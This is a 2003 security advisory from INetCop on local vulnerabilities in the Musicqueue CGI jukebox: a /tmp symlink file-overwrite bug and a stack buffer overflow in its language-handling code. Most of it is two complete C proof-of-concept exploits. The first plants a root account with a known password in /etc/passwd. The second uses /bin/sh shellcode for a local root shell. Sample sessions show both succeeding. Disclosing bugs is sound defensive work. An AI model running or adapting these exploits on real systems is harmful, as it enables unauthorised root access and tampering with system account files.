Musicqueue multiple local vulnerabilities
========================================
INetCop Security Advisory #2003-0x82-020
========================================
* Title: Musicqueue multiple local vulnerabilities
0x01. Description
Musicqueue is a CGI music jukebox using external tools to play the files.
Because of that it supports several formats. It supports two modes, enqueue and
vote.
In vote mode users can vote on music and the song with the most votes is played.
In enqueue mode, songs are enqueued and the one that's been in the playlist the
longest is played.
It is themable through CSS and has many configuration options
More detailed information is: http://musicqueue.sourceforge.net/
setuid, setgid is established as user competence that musicqueue installs
program by `make suid' setup.
Because of, setuid, setgid is established as root competence when installed it
as root competence.
Or, setuid, setgid is established when general user installed.
`musicqueue.cgi' program in itself when SIGSEGV signal called,
`/tmp/musicqueue.crash' file create.
And, CGI program stores environment variables that used to these contents.
For example, it's QUERY_STRING, REQUEST_METHOD, HTTP_COOKIE etc ...
(to examine segfault cause)
--
36 void crash(int signal)
37 {
38 gcgiSaveEnvVariables("/tmp/musicqueue.crash"); // gcgi library
function
39 exit(-1);
40 }
41
42 int main(void)
43 {
44 char mode[100];
45
46 signal(SIGSEGV, crash);
--
Vulnerability happens in case segfault happens.
It may overwrite CGI environment variable contents in `/tmp/musicqueue.crash'
file.
If `/tmp/musicqueue.crash' file, other file symbolic-link do can, exploit is
possible in local.
This program has some buffer overflow bug.
Also, have essential factor that segfault can happen.
Vulnerability exists in openLang function to translate.c
--
34 char openLang(char *lang)
35 {
36 char lfilename[20];
...
43 sprintf(lfilename, "languages/language.%s", lang);
--
Buffer overflow is possible by this. However, see next code.
--
51 void initTrans(void)
52 {
53 char *http_accept, *language;
54
55 http_accept = getenv("HTTP_ACCEPT_LANGUAGE");
56
57 if (http_accept) {
58 while (1) {
59 sscanf(http_accept, "%a[a-z]", &language);
60 if (openLang(language)) {
61 free(language);
62 return;
63 }
...
--
Input is possible from a to z in language variable that is copied in
http_accept.
Therefore, can't change to place that want return address directly.
Anyway, do this buffer overflow to do exploit in local.
If the reason uses HTTP_ACCEPT_LANGUAGE variable, when segfault happened,
because it remains minimum environment variable contents in
`/tmp/musicqueue.crash' file .
If use this essential factors, it's possible that acquire root in local.
The following is local overflow vulnerability that have at `v-0.9 ~ 1.1.1'
version.
Similarly, vulnerability exists in openLang function to translate.c
Let's examine code.
--
52 /*
53 * Check if preferred language didn't exist. Use default
54 * in that case.
55 */
56 if (lfile == NULL) {
57 language = getConf("language", NULL);
58 if (language) {
59 langExists(language);
60 free(language);
61 }
62 }
--
Yes, is interesting. getConf() function is used when read setting in config
file.
Overflow of language variable happens from langExists function.
Now, can do exploit easily.
More detailed item references `Proof of Concept' code.
0x02. Vulnerable Packages
Vendor site: http://musicqueue.sourceforge.net/
musicqueue-1.2.0 (local file overwrite exploit)
-musicqueue-1.2.0.tar.gz
+Unix
+Linux
+Other
musicqueue-0.9 ~ musicqueue-1.1.1 (local buffer overflow exploit)
-musicqueue-1.1.1.tar.gz
-musicqueue-1.1.0.tar.gz
-musicqueue-1.0.0.tar.gz
-musicqueue-1.0.0-rc1.tar.gz
-musicqueue-0.9.2.tar.gz
-musicqueue-0.9.1.tar.gz
-musicqueue-0.9.tar.gz
+Unix
+Linux
+Other
0x03. Exploit
Attached code is local file overwrite exploit and local buffer overflow exploit.
If succeed to exploit, attacker can get user's competence which install
musicqueue in local.
#1) symbolic-link file overwrite exploit:
=== 0x82-Local.musicqueue_xpl.c ===
/*
**
** 0x82-Local.musicqueue_xpl -
** musicqueue.cgi v-1.2.0 local root `Proof of Concept' exploit
**
** This may add user of `REQUEST_METHOD=GET' in `/etc/passwd' file.
** And, the password is `x82'.
**
** I installed musicqueue by root. (make install-suid)
**
** --
** [root@testsub musicqueue]# ls -al musicqueue.cgi
** -rwsr-sr-x 1 root root 67540 Jul 20 14:54 musicqueue.cgi
** [root@testsub musicqueue]# su x82
** [x82@testsub musicqueue]$ head -1 /etc/passwd
** root:x:0:0:root:/root:/bin/bash
** [x82@testsub musicqueue]$ gcc -o 0x82-Local.musicqueue_xpl
0x82-Local.musicqueue_xpl.c
** [x82@testsub musicqueue]$ ./0x82-Local.musicqueue_xpl
**
** 0x82-Local.musicqueue_xpl - musicqueue.cgi v-1.2.0 POC exploit.
**
** [x82@testsub musicqueue]$ head -1 /etc/passwd
** REQUEST_METHOD=GET:$1$jDra3UN4$4jyyrr1pc00PRZnmlyFw91:0:0::/:/bin/sh
** [x82@testsub musicqueue]$ su REQUEST_METHOD=GET
** Password: (password is 'x82')
** [REQUEST_METHOD=GET@testsub musicqueue]# id
** uid=0(REQUEST_METHOD=GET) gid=0(root) groups=0(root)
** [REQUEST_METHOD=GET@testsub musicqueue]#
** --
**
** Don't like user's name so. :-p
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@xxxxxxxxxxx>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define REDHAT_7X
#undef REDHAT_7X /* touch me! */
#define DEF_TG_PATH "./musicqueue.cgi"
#define CRASH_CORE_PATH "/tmp/musicqueue.crash"
#define WRT_PASSWD_PATH "/etc/passwd"
#define REQUEST_METHOD_MK "GET" /* Username: REQUEST_METHOD=GET */
#define S_TOKEN 0x3a
#define S_PASS "$1$jDra3UN4$4jyyrr1pc00PRZnmlyFw91" /* Password: x82 */
#define DCR_PASS "x82"
#define USER_UID 0x0 /* Uid,Gid: 0 */
#define USER_GID 0x0
#define ROOT_PWD 0x2f /* Homedir: / */
#define SHELL_PATH "/bin/sh" /* Shell: /bin/sh */
#define TTL_FORMAT_STR "%s%c%s%c%d%c%d%c%c%c%c%s\n"
#define STK_OVERFLOW_STR "aaaa"
#define S_ENV_PTE "REQUEST_METHOD"
#define S_ENV_PTO "HTTP_ACCEPT_LANGUAGE"
#ifdef REDHAT_7X
#define S_ENV_PTH "QUERY_STRING"
#endif
#define DEF_ZR 0
#define DEF_NR 1
#define DEF_MN -1
#define SZ_DEF_BR (0x82)
#define DEF_LEN (1024)
int main(void)
{
FILE *fp=(NULL);
char atk_str[(SZ_DEF_BR)],ttl_str_bf[(DEF_LEN)];
int r=(DEF_ZR),r_r=(DEF_ZR);
fprintf(stdout,"\n 0x82-Local.musicqueue_xpl - musicqueue.cgi v-1.2.0
POC exploit.\n\n");
memset((char *)atk_str,(DEF_ZR),sizeof(atk_str));
snprintf(atk_str,sizeof(atk_str)-1,(TTL_FORMAT_STR),
(REQUEST_METHOD_MK),(S_TOKEN),(S_PASS),(S_TOKEN),
(USER_UID),(S_TOKEN),(USER_GID),(S_TOKEN),(S_TOKEN),
(ROOT_PWD),(S_TOKEN),(SHELL_PATH));
if((fp=fopen((WRT_PASSWD_PATH),"r"))==NULL)
return((DEF_MN));
memset((char *)ttl_str_bf,(DEF_ZR),sizeof(ttl_str_bf));
for(r_r=(DEF_ZR);r_r<strlen(atk_str);r_r++)
ttl_str_bf[r_r]=atk_str[r_r];
while(fread(&r,(DEF_NR),(DEF_NR),fp))
ttl_str_bf[r_r++]=(r);
fclose(fp);
ttl_str_bf[strlen(ttl_str_bf)-1]='\0';
/* REQUEST_METHOD=GET:...:...:... passwd contents ... */
setenv((S_ENV_PTE),(ttl_str_bf),strlen(ttl_str_bf));
/* Stack Overflow. yeh, Its segfault happens. */
setenv((S_ENV_PTO),(STK_OVERFLOW_STR),strlen(STK_OVERFLOW_STR));
#ifdef REDHAT_7X
atk_str[strlen(atk_str)-1]='\0';
setenv((S_ENV_PTH),(atk_str),strlen(atk_str));
#endif
/* File Symbolic Link. */
unlink(CRASH_CORE_PATH);
symlink((WRT_PASSWD_PATH),(CRASH_CORE_PATH));
/* Execute, Local CGI. */
execl((DEF_TG_PATH),(DEF_TG_PATH),(NULL));
}
=== eof ===
#2) local buffer overflow exploit:
=== 0x82-musicqueue_over.c ===
/*
**
** 0x82-musicqueue_over - musicqueue.cgi local root `Proof of Concept' exploit
**
** This is general overflow exploit.
**
** --
** bash-2.04$ ./0x82-musicqueue_over /tmp/musicqueue-1.1.1/musicqueue.cgi
**
** 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 `Proof of Concept'
**
** sh-2.04# id
** uid=0(root) gid=0(root) groups=500(x82)
** sh-2.04#
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@xxxxxxxxxxx>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
#include <stdio.h>
int main(int argc,char *argv[])
{
FILE *fp;
int r_rn=0;
char *ent_r[3],atck_d[0x82];
char shellcode[]=
"\220@\220@\220@\220@\220@\220@\220@\220@\220@"
"\220@\220@\220@\220@\220@\220@\220@\220@\220@"
"1\300\260F1\3331\311\315\2001\300\260G1\3331"
"\311\315\200\353\037^\211v\b1\300\210F\007"
"\211F\f\260\013\211\363\215N\b\215V\f\315\2001"
"\333\211\330@\315\200\350\334\377\377\377"
"/bin/sh";
unsigned long sh_addr=(0xbfffffff-(strlen(shellcode)));
memset((char *)atck_d,0,sizeof(atck_d));
fprintf(stdout,"\n 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1
POC exploit.\n\n");
if(argc<2)
{
fprintf(stdout," Usage: %s [musicqueue.cgi path]\n\n",argv[0]);
exit(-1);
}
else sh_addr-=(strlen(argv[1]));
atck_d[r_rn++]=0x82;
for(;r_rn<44;r_rn+=4)
{
*(long *)&atck_d[r_rn]=sh_addr;
}
if((fp=fopen("musicqueue.conf","w"))==NULL)
{
fprintf(stderr," [-] musicqueue.conf fopen() error.\n\n");
return(-1);
}
fprintf(fp,"language = %s\n",atck_d);
fclose(fp);
ent_r[0]="REQUEST_METHOD=GET";
ent_r[1]=(shellcode);
ent_r[2]=(NULL);
execle(argv[1],"musicqueue.cgi",NULL,ent_r);
}
=== eof ===
0x04. Patch
Most unartificially, there is method to remove established setuid, setgid.
After remove setuid, setgid, establish again upload directory permission.
# chmod 1777 /music/upload
or,
# chgrp nobody /music/upload && chmod 770 /music/upload
--
Thank you.
P.S: Sorry, for my poor english.
--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.
MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com
INetCop Security Home: http://www.inetcop.org (Korean hacking game)
My World: http://x82.i21c.net & http://x82.inetcop.org
GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
--
--
_______________________________________________
Get your free email from http://www.hackermail.com
Powered by Outblaze